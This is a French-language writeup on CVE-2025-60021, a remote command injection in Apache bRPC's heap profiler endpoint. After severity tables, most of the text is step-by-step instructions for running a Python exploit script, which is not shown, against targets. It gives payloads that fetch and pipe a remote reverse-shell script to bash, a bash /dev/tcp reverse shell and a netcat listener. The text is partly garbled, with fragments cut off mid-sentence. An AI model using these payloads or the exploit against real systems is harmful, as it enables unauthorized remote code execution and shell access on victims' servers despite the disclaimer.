
CVE-2025-60021

CVE-2025-60021 est une vulnérabilité critique d'injection de commandes à distance découverte dans le service intégré de profilage du tas (/pprof/heap) d'Apache bRPC dans les versions antérieures à 1.15.0, permettant à des attaquants non authentifiés d'exécuter des commandes système arbitraires. ([NVD][1])
| Attribut | Informations |
|---|---|
| Nom / ID | CVE-2025-60021 |
| Produit | Apache bRPC (toutes plateformes) |
| Versions affectées | < 1.15.0 |
| Date de publication | 16 janv. 2026 ([NVD][1]) |
| Type de vulnérabilité | Injection de commandes à distance (CWE-77) ([NVD][1]) |
| Point d'accès | /pprof/heap |
| Déclencheur | Paramètre extra_options non assaini |
| Cause racine | Entrée non validée avant exécution en tant que commande OS ([openwall.com][2]) |
❗Les attaquants peuvent injecter des commandes à distance en manipulant simplement ce paramètre de profilage.
🔥 Niveau de sévérité : Critique
📊 Score CVSS v3.1 de base : 9.8 / 10
Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ([INCIBE][3])
| Catégorie d'impact | Effet | |
|---|---|---|
| Confidentialité | Élevé | |
| Intégrité | Élevé | |
| Disponibilité | Élevé | |
| Vecteur d'attaque | Réseau | |
| Privilèges | Aucun requis | |
| Interaction utilisateur | Aucune nécessaire | ([INCIBE][3]) |
👉 Cela signifie que les attaquants peuvent exécuter des commandes arbitraires à distance sans connexion — un scénario catastrophe pour les services exposés.
/pprof/heap) destiné à l'analyse mémoire (jemalloc). ([openwall.com][2])extra_options. Au lieu de l'assainir, bRPC le transmet directement au shell OS. ([openwall.com][2])Ceci suppose que vous avez enregistré le script sous le nom CVE-2025-60021.py (même si la vraie CVE est 2025-60021 — n'hésitez pas à le renommer). C'est un script Python 3 pour démontrer la vulnérabilité d'injection de commandes à distance dans le profileur de tas d'Apache bRPC. Exécutez-le uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite — l'exploitation sans autorisation est illégale.
Environnement Python : Assurez-vous d'avoir Python 3 installé (par ex., 3.6+). Le script utilise des modules intégrés plus requests et argparse (qui sont standards ou faciles à installer).
Installer les dépendances : Si ce n'est pas déjà fait, installez la bibliothèque requests :
pip install requests
Configuration de la cible : Vous avez besoin d'un serveur Apache bRPC vulnérable :
http://localhost:8060 ou une IP/port distants).
Si vous testez localement, configurez une instance bRPC vulnérable (par ex., via Docker ou construction source — consultez la documentation d'Apache bRPC).Permissions : Exécutez avec sudo uniquement si nécessaire pour l'accès réseau ou les privilèges ; sinon, un simple python3 suffit.
Copiez le code PoC que j'ai fourni précédemment dans un fichier nommé CVE-2025-60021.py. Rendez-le exécutable si vous le souhaitez :
chmod +x CVE-2025-60021.py
Le script prend deux arguments positionnels obligatoires :
target : L'URL du serveur bRPC vulnérable (par ex., http://192.168.1.100:8060 ou http://targets:8060 — corrigez les éventuelles fautes de frappe comme un schéma manquant ou un hôte invalide).cmd : La commande à exécuter sur la cible (par ex., "id" pour les informations utilisateur, ou quelque chose de plus complexe comme "curl http://votre-serveur/reverse-shell.sh | bash" pour un reverse shell). Utilisez && ou ; pour enchaîner plusieurs commandes.Ouvrez un terminal (par ex., sur Kali Linux comme vous l'utilisez) et exécutez-le avec votre cible et votre commande. Exemples de commandes :
Test de base (obtenir des informations système) :
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Exemple de reverse shell (remplacez votre-ip-écouteur et le port ; configurez d'abord un écouteur comme nc -lvnp 4444) :
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/votre-ip-écouteur/4444 0>&1"
Si vous utilisez HTTPS ou un port différent, ajustez l'URL en conséquence (par ex., https://target:443 — le script le gère, mais ajoutez --insecure en cas de problème de certificat).
Indicateurs de succès :
uid=0(root)... si id a été exécuté).Indicateurs d'échec (comme ce que vous avez vu) :
--enable_heap_profiler=true) et redémarrez le serveur.cmd oublié — incluez-le toujours.echo "test" > /tmp/proof.txt) et vérifiez le fichier sur la cible.; ne fonctionne pas, essayez && ou | pour l'enchaînement. Encodez les caractères spéciaux dans l'URL si nécessaire (le script gère la plupart).